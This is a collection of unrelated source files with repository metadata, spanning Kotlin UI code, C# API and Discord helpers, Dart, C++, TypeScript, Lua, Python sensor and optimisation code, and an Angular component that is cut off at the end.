messagePanel.add(ScrollPaneFactory.createScrollPane(errorMessageTextArea, true), GridConstraints( 1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_GROW or GridConstraints.SIZEPOLICY_CAN_SHRINK, GridConstraints.SIZEPOLICY_CAN_GROW or GridConstraints.SIZEPOLICY_CAN_SHRINK, null, null, null, 1, false)) val errorLabelPanel = SeverityColorPanel(Severity.HIGH) errorLabelPanel.layout = GridLayoutManager(2, 2, Insets(10, 10, 10, 10), -1, -1) this.add(errorLabelPanel, GridConstraints( 0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK or GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK or GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)) val errorLabel = JLabel() val severityLabelFont: Font? = io.snyk.plugin.ui.getFont(-1, 14, errorLabel.font) if (severityLabelFont != null) { errorLabel.font = severityLabelFont } errorLabel.text = "Error" errorLabel.foreground = Color(-1) errorLabelPanel.add(errorLabel, GridConstraints( 0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)) errorLabelPanel.add(Spacer(), GridConstraints( 0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false)) errorLabelPanel.add(Spacer(), GridConstraints( 1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_VERTICAL, 1, GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)) } }
31.07265
93
0.513134
124b10ee37e23db1511547b3e35913d0378ec1a9
2,736
cs
C#
WebflowSharp/Services/Webhook/WebhookService.cs
Telzio/WebflowSharp
24523664b9d1b54d3d28cf6e104da96b6eb4d1df
[ "MIT" ]
null
null
null
WebflowSharp/Services/Webhook/WebhookService.cs
Telzio/WebflowSharp
24523664b9d1b54d3d28cf6e104da96b6eb4d1df
[ "MIT" ]
null
null
null
WebflowSharp/Services/Webhook/WebhookService.cs
Telzio/WebflowSharp
24523664b9d1b54d3d28cf6e104da96b6eb4d1df
[ "MIT" ]
4
2021-05-05T23:43:20.000Z
2022-02-07T19:51:53.000Z
using System.Collections.Generic; using System.Net.Http; using System.Threading.Tasks; using WebflowSharp.Entities; using WebflowSharp.Extensions; using WebflowSharp.Infrastructure; namespace WebflowSharp.Services.Webhook { public class WebhookService : WebflowService { public WebhookService(string shopAccessToken) : base(shopAccessToken) { } /// <summary> /// Returns collection of webhooks /// <param name="siteId"> Unique identifier for the site</param> /// </summary> public virtual async Task<List<WebhookModel>> GetWebhooks(string siteId) { var req = PrepareRequest($"sites/{siteId}/webhooks"); return await ExecuteRequestAsync<List<WebhookModel>>(req, HttpMethod.Get); } /// <summary> /// Returns a order with provided ID. /// </summary> /// <param name="webhookId">Unique identifier for the webhook</param> /// <param name="siteId"> Unique identifier for the site</param> /// <returns>The <see cref="Order"/>.</returns> public virtual async Task<WebhookModel> GetWebhookById(string siteId, string webhookId) { var req = PrepareRequest($"sites/{siteId}/webhooks/{webhookId}"); return await ExecuteRequestAsync<WebhookModel>(req, HttpMethod.Get); } /// <summary> /// Create a new webhook /// </summary> /// /// <param name="request">update fields value</param> /// <param name="siteId"> Unique identifier for the site</param> /// <returns>The <see cref="Order"/>.</returns> public virtual async Task<WebhookModel> CreateWebhook(string siteId, CreateWebhookRequest request) { var req = PrepareRequest($"sites/{siteId}/webhooks"); HttpContent content = null; if (request != null) { var body = request.ToDictionary(); content = new JsonContent(body); } return await ExecuteRequestAsync<WebhookModel>(req, HttpMethod.Post, content); } /// <summary> /// Removes a specific webhook /// </summary> /// <param name="webhookId">Unique identifier for the webhook</param> /// <param name="siteId"> Unique identifier for the site</param> /// <returns>The <see cref="Order"/>.</returns> public virtual async Task<Dictionary<string, string>> RemoveWebhhok(string siteId, string webhookId) { var req = PrepareRequest($"sites/{siteId}/webhooks/{webhookId}"); return await ExecuteRequestAsync<Dictionary<string, string>>(req, HttpMethod.Delete); } } }
38.535211
108
0.612573
f3af3e329d545de3580153a3afcefe3c6f53689e
297
sh
Shell
copie.sh
champarnaud/dotfiles
959b90b9c7e900a754a88b75e27c9b846c860e1b
[ "WTFPL" ]
null
null
null
copie.sh
champarnaud/dotfiles
959b90b9c7e900a754a88b75e27c9b846c860e1b
[ "WTFPL" ]
1
2020-12-26T17:56:23.000Z
2020-12-26T17:56:23.000Z
copie.sh
champarnaud/dotfiles
959b90b9c7e900a754a88b75e27c9b846c860e1b
[ "WTFPL" ]
1
2020-12-25T12:52:09.000Z
2020-12-25T12:52:09.000Z
#!/bin/bash echo $# $0 $1 $2 $3 if [ $# = 0 ] then read -p "Quel est le répertoire d'origine ? (défaut .) : " orig if [ -z $orig ]; then orig='.' fi read -p "Quel est le répertoire de destination ? : " dest if [ -z $dest ]; then dest='~' fi fi echo $orig $dest #cp -uvr $org $dest`
14.142857
64
0.555556
5d1d823c10e30cee858f14367fe30222b494d526
1,256
hpp
C++
gapvector_impl/gapvector_reverse_iterator_implement.hpp
Catminusminus/gapvector
cdc235fbf26022a12234057877e6189a9312c0b7
[ "Unlicense" ]
null
null
null
gapvector_impl/gapvector_reverse_iterator_implement.hpp
Catminusminus/gapvector
cdc235fbf26022a12234057877e6189a9312c0b7
[ "Unlicense" ]
2
2018-03-26T14:06:23.000Z
2018-03-29T17:08:45.000Z
gapvector_impl/gapvector_reverse_iterator_implement.hpp
Catminusminus/gapvector
cdc235fbf26022a12234057877e6189a9312c0b7
[ "Unlicense" ]
null
null
null
#ifndef GAPVECTOR_REVERSE_ITERATOR_IMPLEMENT_HPP #define GAPVECTOR_REVERSE_ITERATOR_IMPLEMENT_HPP template <typename T> void gapvectorReverseIterator<T>::increment() { --index; } template <typename T> void gapvectorReverseIterator<T>::decrement() { ++index; } template <typename T> T &gapvectorReverseIterator<T>::dereference() const { return (gap_vector->at(index - 1)); } template <typename T> bool gapvectorReverseIterator<T>::equal(const gapvectorReverseIterator<T> &anotherIterator) const { return (this->gap_vector == anotherIterator.gap_vector && this->index == anotherIterator.index); } template <typename T> size_t gapvectorReverseIterator<T>::distance_to(const gapvectorReverseIterator<T> &anotherIterator) const { if (this->index >= anotherIterator.index) { return this->index - anotherIterator.index; } return anotherIterator.index - this->index; } template <typename T> void gapvectorReverseIterator<T>::advance(size_t difference) { index -= difference; } template <typename T> gapvectorReverseIterator<T>::gapvectorReverseIterator() { } template <typename T> gapvectorReverseIterator<T>::gapvectorReverseIterator(gapvector<T> *gap_v, size_t ind) : gap_vector(gap_v), index(ind) { } #endif
22.836364
118
0.754777
9effac42a7e65a90ada492e529fbf21c215b0ce3
4,317
dart
Dart
lib/main.dart
RegNex/Tasky-Mobile-App
371de2a317a8c837e048498d5a3dd9b6171897a5
[ "MIT" ]
94
2021-03-21T19:45:40.000Z
2022-01-03T09:38:19.000Z
lib/main.dart
iamEtornam/Tasky-Mobile-App
371de2a317a8c837e048498d5a3dd9b6171897a5
[ "MIT" ]
6
2021-03-26T21:48:14.000Z
2021-10-08T22:36:24.000Z
lib/main.dart
RegNex/Tasky-Mobile-App
371de2a317a8c837e048498d5a3dd9b6171897a5
[ "MIT" ]
28
2021-03-22T15:33:28.000Z
2021-12-21T10:02:03.000Z
import 'package:bot_toast/bot_toast.dart'; import 'package:firebase_analytics/firebase_analytics.dart'; import 'package:firebase_analytics/observer.dart'; import 'package:firebase_auth/firebase_auth.dart'; import 'package:firebase_core/firebase_core.dart'; import 'package:firebase_crashlytics/firebase_crashlytics.dart'; import 'package:firebase_messaging/firebase_messaging.dart'; import 'package:flutter/cupertino.dart'; import 'package:flutter/material.dart'; import 'package:get_it/get_it.dart'; import 'package:hive/hive.dart'; import 'package:hive_flutter/hive_flutter.dart'; import 'package:provider/provider.dart'; import 'package:tasky_mobile_app/managers/auth_manager.dart'; import 'package:tasky_mobile_app/managers/task_manager.dart'; import 'package:tasky_mobile_app/managers/user_manager.dart'; import 'package:tasky_mobile_app/routes.dart'; import 'package:tasky_mobile_app/services/auth_service.dart'; import 'package:tasky_mobile_app/services/organization_service.dart'; import 'package:tasky_mobile_app/services/task_service.dart'; import 'package:tasky_mobile_app/utils/local_storage.dart'; import 'package:tasky_mobile_app/utils/network_utils/background_message_handler.dart'; import 'package:tasky_mobile_app/utils/network_utils/custom_http_client.dart'; import 'package:tasky_mobile_app/views/auth/login_view.dart'; import 'package:tasky_mobile_app/views/dashboard/dashboard_view.dart'; import 'managers/organization_manager.dart'; import 'services/user_service.dart'; import 'shared_widgets/custom_theme.dart'; import 'utils/network_utils/apple_sign_in_avaliability.dart'; final FirebaseMessaging messaging = FirebaseMessaging.instance; GetIt locator = GetIt.instance; setupSingletons() async { locator.registerLazySingleton<CustomHttpClient>(() => CustomHttpClient()); locator.registerLazySingleton<AuthService>(() => AuthService()); locator.registerLazySingleton<AuthManager>(() => AuthManager()); locator.registerLazySingleton<LocalStorage>(() => LocalStorage()); locator .registerLazySingleton<OrganizationService>(() => OrganizationService()); locator .registerLazySingleton<OrganizationManager>(() => OrganizationManager()); locator.registerLazySingleton<UserService>(() => UserService()); locator.registerLazySingleton<UserManager>(() => UserManager()); locator.registerLazySingleton<TaskService>(() => TaskService()); locator.registerLazySingleton<TaskManager>(() => TaskManager()); } main() async { await setupSingletons(); WidgetsFlutterBinding.ensureInitialized(); await Firebase.initializeApp(); FlutterError.onError = FirebaseCrashlytics.instance.recordFlutterError; FirebaseMessaging.onBackgroundMessage(backgroundMessageHandler); await Hive.initFlutter(); final appleSignInAvailable = await AppleSignInAvailable.check(); runApp(Provider<AppleSignInAvailable>.value( value: appleSignInAvailable, child: MyApp(), )); } class MyApp extends StatelessWidget { MyApp({Key key}) : super(key: key); final FirebaseAnalytics _analytics = FirebaseAnalytics(); final FirebaseAuth _auth = FirebaseAuth.instance; @override Widget build(BuildContext context) { return StreamBuilder<User>( stream: _auth.authStateChanges(), builder: (context, snapshot) { return MaterialApp( title: 'Tasky', builder: BotToastInit(), theme: customLightTheme(context), darkTheme: customDarkTheme(context), themeMode: ThemeMode.system, initialRoute: '/', onGenerateInitialRoutes: (_) { if (_auth.currentUser != null) { return <Route>[ MaterialPageRoute(builder: (context) => const DashboardView()) ]; } else { return <Route>[ MaterialPageRoute(builder: (context) => LoginView()) ]; } }, onGenerateRoute: Routes.generateRoute, debugShowCheckedModeBanner: false, navigatorObservers: [ FirebaseAnalyticsObserver(analytics: _analytics), BotToastNavigatorObserver(), ], localeResolutionCallback: (Locale locale, Iterable<Locale> supportedLocales) { return locale; }, ); } ); } }
38.20354
86
0.729905
ad24d1e53c71baa132cb38942be4234c3169f1e4
25
lua
Lua
resources/words/dyl.lua
terrabythia/alfabeter
da422481ba223ebc6c4ded63fed8f75605193d44
[ "MIT" ]
null
null
null
resources/words/dyl.lua
terrabythia/alfabeter
da422481ba223ebc6c4ded63fed8f75605193d44
[ "MIT" ]
null
null
null
resources/words/dyl.lua
terrabythia/alfabeter
da422481ba223ebc6c4ded63fed8f75605193d44
[ "MIT" ]
null
null
null
return {'dylan','dylans'}
25
25
0.68
2c6743c8bdfe3f58c5983a0e4df5de09d54a10c2
1,987
py
Python
lib/python2.7/site-packages/openopt/kernel/SDP.py
wangyum/anaconda
6e5a0dbead3327661d73a61e85414cf92aa52be6
[ "Apache-2.0", "BSD-3-Clause" ]
5
2017-01-23T16:23:43.000Z
2022-01-20T16:14:06.000Z
lib/python2.7/site-packages/openopt/kernel/SDP.py
wangyum/anaconda
6e5a0dbead3327661d73a61e85414cf92aa52be6
[ "Apache-2.0", "BSD-3-Clause" ]
1
2015-04-24T06:46:25.000Z
2015-04-24T06:46:25.000Z
lib/python2.7/site-packages/openopt/kernel/SDP.py
wangyum/anaconda
6e5a0dbead3327661d73a61e85414cf92aa52be6
[ "Apache-2.0", "BSD-3-Clause" ]
8
2016-05-30T13:35:17.000Z
2021-06-15T22:24:29.000Z
from baseProblem import MatrixProblem from numpy import asfarray, ones, inf, dot, asfarray, nan, zeros, isfinite, all class SDP(MatrixProblem): _optionalData = ['A', 'Aeq', 'b', 'beq', 'lb', 'ub', 'S', 'd'] expectedArgs = ['f'] goal = 'minimum' #TODO: impolement goal = max, maximum for SDP #allowedGoals = ['minimum', 'min', 'maximum', 'max'] allowedGoals = ['minimum', 'min'] showGoal = True def __init__(self, *args, **kwargs): self.probType = 'SDP' self.S = {} self.d = {} MatrixProblem.__init__(self, *args, **kwargs) self.f = asfarray(self.f) self.n = self.f.size if self.x0 is None: self.x0 = zeros(self.n) def _Prepare(self): MatrixProblem._Prepare(self) if self.solver.__name__ in ['cvxopt_sdp', 'dsdp']: try: from cvxopt.base import matrix matrixConverter = lambda x: matrix(x, tc='d') except: self.err('cvxopt must be installed') else: matrixConverter = asfarray for i in self.S.keys(): self.S[i] = matrixConverter(self.S[i]) for i in self.d.keys(): self.d[i] = matrixConverter(self.d[i]) # if len(S) != len(d): self.err('semidefinite constraints S and d should have same length, got '+len(S) + ' vs '+len(d)+' instead') # for i in range(len(S)): # d[i] = matrixConverter(d[i]) # for j in range(len(S[i])): # S[i][j] = matrixConverter(S[i][j]) def __finalize__(self): MatrixProblem.__finalize__(self) if self.goal in ['max', 'maximum']: self.f = -self.f for fn in ['fk', ]:#not ff - it's handled in other place in RunProbSolver.py if hasattr(self, fn): setattr(self, fn, -getattr(self, fn)) def objFunc(self, x): return asfarray(dot(self.f, x).sum()).flatten()
37.490566
138
0.54001
7ab5b8148fe59fdbca4b345a50616e966f687db2
2,607
cs
C#
Archive/MemberEntryManager.cs
MostyXS/DiscordCSharpBot
157cb5a1088901b7a47c35968b82c952f27ba8ad
[ "MIT" ]
null
null
null
Archive/MemberEntryManager.cs
MostyXS/DiscordCSharpBot
157cb5a1088901b7a47c35968b82c952f27ba8ad
[ "MIT" ]
null
null
null
Archive/MemberEntryManager.cs
MostyXS/DiscordCSharpBot
157cb5a1088901b7a47c35968b82c952f27ba8ad
[ "MIT" ]
null
null
null
using DSharpPlus.Entities; using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Volodya { public class MemberEntryManager { const int MAX_SIZE = 5; Queue<DiscordAuditLogEntry> lastMemberEntries = new Queue<DiscordAuditLogEntry>(); public DiscordAuditLogEntry UpdatedEntry { get; private set; } //First we should try find newEntry as member update entry //We should try find entry as discord member move entry in 5 closest, then we should try to find member disconnect entry in closest five and in both cases check if they are updated //Discord not creating new entries when moving from channel to channel in close entries public void CheckIfNewEntry(DiscordAuditLogEntry[] newEntries) { foreach(var e in newEntries) { if(lastMemberEntries.Any((x) => x.Id == e.Id)) { switch(e.ActionType) { case (AuditLogActionType.MemberMove): { var mmEntry = e as DiscordAuditLogMemberMoveEntry; } break; case (AuditLogActionType.MemberDisconnect): { var mdEntry = e as DiscordAuditLogMemberDisconnectEntry; } break; default: break; } } else { } } } /// <summary> /// Works only when audit type mdisconnect or mmove /// </summary> /// <param name="currentEntry"></param> /// <param name="otherEntry"></param> /// <returns></returns> /* public static DiscordUser FindRemovedUser(this DiscordChannel channelBefore, DiscordChannel channelAfter) { foreach (var u in channelBefore.Users) { if (!channelAfter.Users.Any((x) => x.Id == u.Id)) { return u; } } return null; }*/ public void AddToLastEntries(DiscordAuditLogEntry e) { lastMemberEntries.Enqueue(e); if (lastMemberEntries.Count == MAX_SIZE) lastMemberEntries.Dequeue(); } } }
32.5875
188
0.486766
7be37ed0fce1f7475e406517780c8660e6180e7a
275
rb
Ruby
spec/factories/forms/contact_address_manual_form.rb
uk-gov-mirror/defra.waste-exemptions-engine
c85e66953454f376f37db7efbd9e6ab7c0dbb803
[ "PostgreSQL", "Ruby", "Unlicense" ]
null
null
null
spec/factories/forms/contact_address_manual_form.rb
uk-gov-mirror/defra.waste-exemptions-engine
c85e66953454f376f37db7efbd9e6ab7c0dbb803
[ "PostgreSQL", "Ruby", "Unlicense" ]
182
2019-01-15T15:39:33.000Z
2022-03-30T09:18:47.000Z
spec/factories/forms/contact_address_manual_form.rb
uk-gov-mirror/defra.waste-exemptions-engine
c85e66953454f376f37db7efbd9e6ab7c0dbb803
[ "PostgreSQL", "Ruby", "Unlicense" ]
2
2019-07-04T13:10:56.000Z
2021-04-10T21:31:46.000Z
# frozen_string_literal: true FactoryBot.define do factory :contact_address_manual_form, class: WasteExemptionsEngine::ContactAddressManualForm do initialize_with do new(create(:new_registration, workflow_state: "contact_address_manual_form")) end end end
27.5
97
0.803636
fdeca56d54dfdd2cced927016ff9fd17d1037021
1,983
css
CSS
css/mainclient.css
carolinadp/Handy-Neighbor
66d37c643bb6e9e1bd46848880ebafd1c462d0b7
[ "MIT" ]
null
null
null
css/mainclient.css
carolinadp/Handy-Neighbor
66d37c643bb6e9e1bd46848880ebafd1c462d0b7
[ "MIT" ]
null
null
null
css/mainclient.css
carolinadp/Handy-Neighbor
66d37c643bb6e9e1bd46848880ebafd1c462d0b7
[ "MIT" ]
null
null
null
.search-element { list-style: none; margin: 0px; padding: 0px; } .search-element > li { background-color: rgb(255, 255, 255); box-shadow: 0px 0px 2px rgba(51, 51, 51, 0.7); padding: 0px; margin: 0px 0px 20px; } .search-element > li > img { width: 100%; } .search-element > li > .info { padding-top: 5px; text-align: center; } .search-element > li > .info > .title { font-size: 17pt; font-weight: 700; margin: 0px; } .search-element > li > .info > .desc { font-size: 13pt; font-weight: 300; margin: 0px; } .search-element > li > .info > ul{ display: table; list-style: none; margin: 10px 0px 0px; padding: 0px; width: 100%; text-align: center; } .search-element > li > .info > ul > li{ display: table-cell; cursor: pointer; color: rgb(30, 30, 30); font-size: 11pt; font-weight: 300; padding: 3px 0px; } .search-element > li > .info > ul > li > a { display: block; width: 100%; color: rgb(30, 30, 30); text-decoration: none; } @media (min-width: 768px) { .search-element > li { position: relative; display: block; width: 100%; height: 120px; padding: 0px; } .search-element > li > img { width: 100px; float: left; } .search-element > li > .info { background-color: rgb(248, 248, 248); overflow: hidden; } .search-element > li > img { width: 120px; height: 120px; padding: 0px; margin: 0px; } .search-element > li > .info { position: relative; height: 120px; text-align: left; padding-right: 40px; } .search-element > li > .info > .title, .search-element > li > .info > .desc, .search-element > li > .info > .rating{ padding: 0px 10px; } .search-element > li > .info > ul { position: absolute; left: 0px; bottom: 0px; } }
21.095745
50
0.537065
b3463a6fc9dc294b0693c265814f47d1bb16b2b2
1,256
py
Python
Calibration and Testing/upload_temp_humidty.py
jessemcardle/Raspberry-Pi-Plant-Growth-Project
e43fe90fdfae8b6d9897430bf822c57ff9c5d1e5
[ "MIT", "Unlicense" ]
1
2022-02-15T06:38:13.000Z
2022-02-15T06:38:13.000Z
Calibration and Testing/upload_temp_humidty.py
jessemcardle/Raspberry-Pi-Plant-Growth-Project
e43fe90fdfae8b6d9897430bf822c57ff9c5d1e5
[ "MIT", "Unlicense" ]
null
null
null
Calibration and Testing/upload_temp_humidty.py
jessemcardle/Raspberry-Pi-Plant-Growth-Project
e43fe90fdfae8b6d9897430bf822c57ff9c5d1e5
[ "MIT", "Unlicense" ]
null
null
null
import sys from urllib.request import urlopen from time import sleep import Adafruit_DHT as dht # Enter Your API key here myAPI = '5KJ5TVQRF5NFSEXL' # URL where we will send the data, Don't change it baseURL = 'https://api.thingspeak.com/update?api_key=%s' % myAPI def DHT22_data(): # Reading from DHT22 and storing the temperature and humidity humi, temp = dht.read_retry(dht.DHT22, 4) return humi, temp while True: try: humi, temp = DHT22_data() # If Reading is valid if isinstance(humi, float) and isinstance(temp, float): # Formatting to two decimal places humi = '%.2f' % humi temp = '%.2f' % temp print(temp, humi) # Sending the data to thingspeak #conn = urllib2.urlopen(baseURL + '&temperature=%s&humidity=%s' % (temp, humi)) conn = urlopen(baseURL + '&field1=%s&field2=%s' % (temp, humi)) print (conn.read()) # Closing the connection conn.close() else: print ('Error') # DHT22 requires 2 seconds to give a reading, so make sure to add delay of above 2 seconds. sleep(60) except: raise Exception() break
33.052632
99
0.589968
c98d41e46590ce8f25c416e189f8c39771e59944
2,084
tsx
TypeScript
dev/app/features/custom_query.tsx
social-native/elastic-composer
a21862c0be03933f0002c7930a6b05406ce52eb0
[ "Apache-2.0" ]
14
2020-04-10T02:49:04.000Z
2022-02-02T22:14:43.000Z
dev/app/features/custom_query.tsx
social-native/elastic-composer
a21862c0be03933f0002c7930a6b05406ce52eb0
[ "Apache-2.0" ]
80
2020-07-07T08:47:14.000Z
2021-07-08T20:35:48.000Z
dev/app/features/custom_query.tsx
social-native/elastic-composer
a21862c0be03933f0002c7930a6b05406ce52eb0
[ "Apache-2.0" ]
1
2020-04-24T16:26:02.000Z
2020-04-24T16:26:02.000Z
import React, {useContext, useState} from 'react'; import {observer} from 'mobx-react'; import styled from 'styled-components'; import Context from '../context'; const CustomQueryContainer = styled.div` height: 300px; width: 250px; margin: 5px; border-radius: 3px; `; const FieldList = styled.input` height: 30px; width: 300px; border: 1px solid black; margin: 5px; margin-left: 10px; `; const PageSize = styled.input` height: 30px; width: 300px; border: 1px solid black; margin: 5px; margin-left: 10px; `; const SubmitCustomQuery = styled.div` height: 50px; width: 100px; border: 1px solid black; `; export default () => { const creatorCRM = useContext(Context.creatorCRM); const [whiteList, setWhiteList] = useState([]); const [blackList, setBlackList] = useState([]); const [pageSize, setPageSize] = useState(10); return ( <CustomQueryContainer> <FieldList type="text" value={whiteList.join(' ')} onChange={c => { const rawVal = c.target.value.split(' '); rawVal[0] === '' ? setWhiteList([]) : setWhiteList(rawVal); }} /> <FieldList type="text" value={blackList.join(' ')} onChange={c => { const rawVal = c.target.value.split(' '); rawVal[0] === '' ? setBlackList([]) : setBlackList(rawVal); }} /> <PageSize type="text" value={pageSize.toString()} onChange={c => setPageSize(+c.target.value)} /> <SubmitCustomQuery onClick={() => { creatorCRM.runCustomFilterQuery({ fieldWhiteList: whiteList, fieldBlackList: blackList, pageSize }); }} /> </CustomQueryContainer> ); };
26.717949
79
0.49952
c1afefafd6e68ac80c74fc01f9e0a9414cd9cafb
889
lua
Lua
oss/lua/serv/dhcp_app.lua
nneesshh/openresty-win32-build
bfbb9d7526020eda1788a0ed24f2be3c8be5c1c3
[ "MIT" ]
2
2018-06-15T08:32:44.000Z
2019-01-12T03:20:41.000Z
oss/lua/serv/dhcp_app.lua
nneesshh/openresty-oss
bfbb9d7526020eda1788a0ed24f2be3c8be5c1c3
[ "MIT" ]
null
null
null
oss/lua/serv/dhcp_app.lua
nneesshh/openresty-oss
bfbb9d7526020eda1788a0ed24f2be3c8be5c1c3
[ "MIT" ]
null
null
null
-- Localize local cwd = (...):gsub("%.[^%.]+$", "") .. "." local dhcpd = require(cwd .. "dhcp.server") local _M = { _VERSION = "1.0.0.1", _DESCRIPTION = "It is the app entry ..." } local function dhcpd_callback(op, packet, options) return { yiaddr = "10.10.0.5", options = { subnet_mask = "255.255.255.0", broadcast_address = "10.10.10.255", router = { "10.10.10.1", "10.10.10.2" }, domain_name = "openresty.com", hostname = "agentzh.openresty.com", address_lease_time = 86400, renewal_time = 3600, ipxe = { no_proxydhcp = 1 } } } end -- function _M.serve() local ok, err = dhcpd.serve(dhcpd_callback) if not ok then ngx.log(ngx.ERR, err) end end return _M
22.225
50
0.48144
26bdc3d1175f7811f09c12d5d4ba0d82ed5f70cd
4,050
kt
Kotlin
settings/src/main/kotlin/com/testerum/settings/SettingsManager.kt
jesus2099/testerum
1bacdd86da1a240ad9f2932e21c69f628a1fc66c
[ "Apache-2.0" ]
17
2020-08-07T10:06:22.000Z
2022-02-22T15:36:38.000Z
settings/src/main/kotlin/com/testerum/settings/SettingsManager.kt
jesus2099/testerum
1bacdd86da1a240ad9f2932e21c69f628a1fc66c
[ "Apache-2.0" ]
55
2020-09-20T17:27:50.000Z
2021-08-15T02:23:45.000Z
settings/src/main/kotlin/com/testerum/settings/SettingsManager.kt
jesus2099/testerum
1bacdd86da1a240ad9f2932e21c69f628a1fc66c
[ "Apache-2.0" ]
2
2021-09-13T09:38:13.000Z
2021-12-21T20:35:43.000Z
package com.testerum.settings import com.testerum.settings.reference_resolver.SettingsResolver import com.testerum_api.testerum_steps_api.test_context.settings.model.Setting import com.testerum_api.testerum_steps_api.test_context.settings.model.SettingDefinition import java.util.concurrent.locks.ReentrantReadWriteLock import kotlin.concurrent.read import kotlin.concurrent.write class SettingsManager { private val lock = ReentrantReadWriteLock() private var definitions = LinkedHashMap<String, SettingDefinition>() private var values = LinkedHashMap<String, String>() private var resolved = LinkedHashMap<String, Setting>() fun modify(build: SettingsManagerModifier.() -> Unit) { lock.write { val additionalDefinitions = LinkedHashMap<String, SettingDefinition>() val additionalValues = LinkedHashMap<String, String>() val modifier = object : SettingsManagerModifier { override fun registerDefinition(definition: SettingDefinition) { additionalDefinitions[definition.key] = definition } override fun registerDefinitions(definitions: List<SettingDefinition>) { for (definition in definitions) { registerDefinition(definition) } } override fun setValue(key: String, value: String) { additionalValues[key] = value } override fun setValues(settingValues: Map<String, String>) { for ((key, value) in settingValues) { setValue(key, value) } } } modifier.build() resolveWith(additionalDefinitions, additionalValues) } } fun getSettings(): List<Setting> { return lock.read { resolved.values.toList() } } fun getSetting(key: String): Setting? { return lock.read { resolved[key] } } private fun resolveWith(additionalDefinitions: LinkedHashMap<String, SettingDefinition>, additionalValues: LinkedHashMap<String, String>) { val newDefinitions = LinkedHashMap<String, SettingDefinition>().apply { putAll(definitions) putAll(additionalDefinitions) } val newValues = LinkedHashMap<String, String>().apply { putAll(this@SettingsManager.values) putAll(additionalValues) } val resolvedValues: Map<String, String> = resolveValues(newDefinitions, newValues) val newResolved = resolveSettings(newDefinitions, newValues, resolvedValues) definitions = newDefinitions values = newValues resolved = newResolved } private fun resolveValues(definitions: Map<String, SettingDefinition>, values: Map<String, String>): Map<String, String> { val unresolvedValues = LinkedHashMap<String, String>() // default values for ((key, definition) in definitions) { unresolvedValues[key] = definition.defaultValue } // actual value overrides for ((key, value) in values) { unresolvedValues[key] = value } return SettingsResolver.resolve(unresolvedValues) } private fun resolveSettings(definitions: Map<String, SettingDefinition>, values: Map<String, String>, resolvedValues: Map<String, String>): LinkedHashMap<String, Setting> { val result = LinkedHashMap<String, Setting>() for ((key, resolvedValue) in resolvedValues) { val definition = definitions[key] ?: SettingDefinition.undefined(key) val value = values[key] ?: definition.defaultValue result[key] = Setting(definition, value, resolvedValue) } return result } }
34.615385
102
0.611111
14199e2c7e7bb256002db04ccccdd904af003b4c
9,568
ts
TypeScript
src/app/user-profile/user-profile.component.ts
Brauam/PaqariFE
1b951bd96aa5b354f64b83ef736db979150bfeb2
[ "MIT" ]
null
null
null
src/app/user-profile/user-profile.component.ts
Brauam/PaqariFE
1b951bd96aa5b354f64b83ef736db979150bfeb2
[ "MIT" ]
null
null
null
src/app/user-profile/user-profile.component.ts
Brauam/PaqariFE
1b951bd96aa5b354f64b83ef736db979150bfeb2
[ "MIT" ]
null
null
null
import { Component, OnInit } from '@angular/core'; import { FormBuilder, FormControl, FormGroup, Validators } from '@angular/forms'; import { MatSnackBar } from '@angular/material/snack-bar'; import { StorageService } from 'app/core/storage.service'; import { ICliente, IEncuestas, IFamiliares, IPublicia } from 'app/models/cliente'; import { IPaises, IUbigeo } from 'app/models/ubigeo'; import { ClienteService } from 'app/services/cliente.service'; import { UbigeoService } from 'app/services/ubigeo.service'; import { dataConfig } from 'webconfig'; @Component({ selector: 'app-user-profile', templateUrl: './user-profile.component.html', styleUrls: ['./user-profile.component.scss'] }) export class UserProfileComponent implements OnInit { displayedColumns: string[] = ['Nombres', 'DocIdentidad', 'Direccion', 'correo', 'Accion']; hide: boolean = true; isButton: boolean = true; idcliente: number; condicion: number; tamano: string; tamano2: string; clienteForm: FormGroup; encuestaForm: FormGroup; mostrar: boolean = false; mostrares: boolean = false; add: boolean = false; familiaresForm: FormGroup; familiaresF: IFamiliares[]; publicidades: IPublicia[]; departamentos: IUbigeo[]; provincias: IUbigeo[]; distritos: IUbigeo[]; departamentosF: IUbigeo[]; provinciasF: IUbigeo[]; distritosF: IUbigeo[]; paises: IPaises[]; sexo: any[]; familiares: any[]; constructor(private ubigeoService: UbigeoService, private clienteService: ClienteService, private storageService: StorageService, private formBuilder: FormBuilder, private _snackBar: MatSnackBar) { } ngOnInit() { this.sexo = dataConfig.sexo; this.familiares = dataConfig.familiares; this.crearFormularioCliente(); this.crearFormularioFamiliar(); this.crearFormularioEncuesta(); this.ubigeoService.ListarPaises().subscribe(res => this.paises = res) this.ubigeoService.ListarDepartamento().subscribe(res => this.departamentos = res) this.ubigeoService.ListarDepartamento().subscribe(res => this.departamentosF = res) this.idcliente = +this.storageService.leerToken(); this.listarCliente(this.idcliente); this.ListarPublicidad(); this.ConsultarEncuesta() } ListarPublicidad() { this.clienteService.ConsultarPublicidad().subscribe( res => { this.publicidades = res }) } ConsultarEncuesta(){ this.clienteService.ConsultarEncuesta(this.idcliente).subscribe( res => { if (res > 1) { this.tamano = 'col-md-12' this.mostrares = false } else { this.tamano = 'col-md-9' this.mostrares = true } } ) } listarCliente(idcliente: number) { this.clienteService.get(idcliente).subscribe( res => { this.listarUbigeo(res.Dpto, res.Dpto + res.Prov) this.clienteForm.patchValue(res); this.familiaresF = res.items; if (res.ActInformacion) { this.isButton = false } } ) } listarFamiliares(idcliente: number) { this.clienteService.get(idcliente).subscribe( res => { this.familiaresF = res.items; } ) } editFamiliar(index: number) { this.mostrar = true; this.add = false; let familiar: IFamiliares = this.familiaresF[index] this.listarUbigeoF(familiar.Dpto, familiar.Dpto + 